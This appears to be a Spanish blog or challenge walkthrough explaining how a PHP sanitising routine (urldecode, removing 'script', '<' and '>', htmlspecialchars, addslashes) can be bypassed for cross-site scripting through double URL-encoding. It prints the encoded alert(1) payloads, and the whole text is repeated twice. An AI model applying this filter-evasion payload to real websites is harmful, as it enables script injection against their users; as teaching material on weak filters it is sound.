Para encontrar el XSS es necesario utilizar un conversor, como por ejemplo el del blog.
El php que recibe los datos del usuario realiza estos pasos para filtrar los datos y asegurarlos:
$nombre = urldecode($nombre);
$nombre = str_replace('script','',$nombre);
$nombre = str_replace('<','',$nombre);
$nombre = str_replace('>','',$nombre);
$nombre = htmlspecialchars($nombre);
$nombre = addslashes($nombre);
En principio parece que se filtra bien la entrada del usuario y que no existe peligro de una vulnerabilidad XSS.
La clave para encontrar el XSS es utilizar la codificacion hexadecimal ya que es interpretada correctamente por los navegadores.
Si codificamos \ obtendremos %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
Si introducimos esto en el formulario y pulsamos en el enlace obtendremos un html con el codigo alert(1)/,
Como podemos decucir del html nos están eliminando los caracteres < , > y script, Para conseguir saltarnos esto lo que podemos hacer es codificar dos veces \ lo que nos daría %25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%36%31%25%36%43%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45
Si introducimos esto último conseguimos ejecutar nuestro pequeño script.
$nombre = urldecode($nombre);
$nombre = str_replace('script','',$nombre);
$nombre = str_replace('<','',$nombre);
$nombre = str_replace('>','',$nombre);
$nombre = htmlspecialchars($nombre);
$nombre = addslashes($nombre);
En principio parece que se filtra bien la entrada del usuario y que no existe peligro de una vulnerabilidad XSS.
La clave para encontrar el XSS es utilizar la codificacion hexadecimal ya que es interpretada correctamente por los navegadores.
Si codificamos \ obtendremos %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
Si introducimos esto en el formulario y pulsamos en el enlace obtendremos un html con el codigo alert(1)/,
Como podemos decucir del html nos están eliminando los caracteres < , > y script, Para conseguir saltarnos esto lo que podemos hacer es codificar dos veces \ lo que nos daría %25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%36%31%25%36%43%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45
Si introducimos esto último conseguimos ejecutar nuestro pequeño script.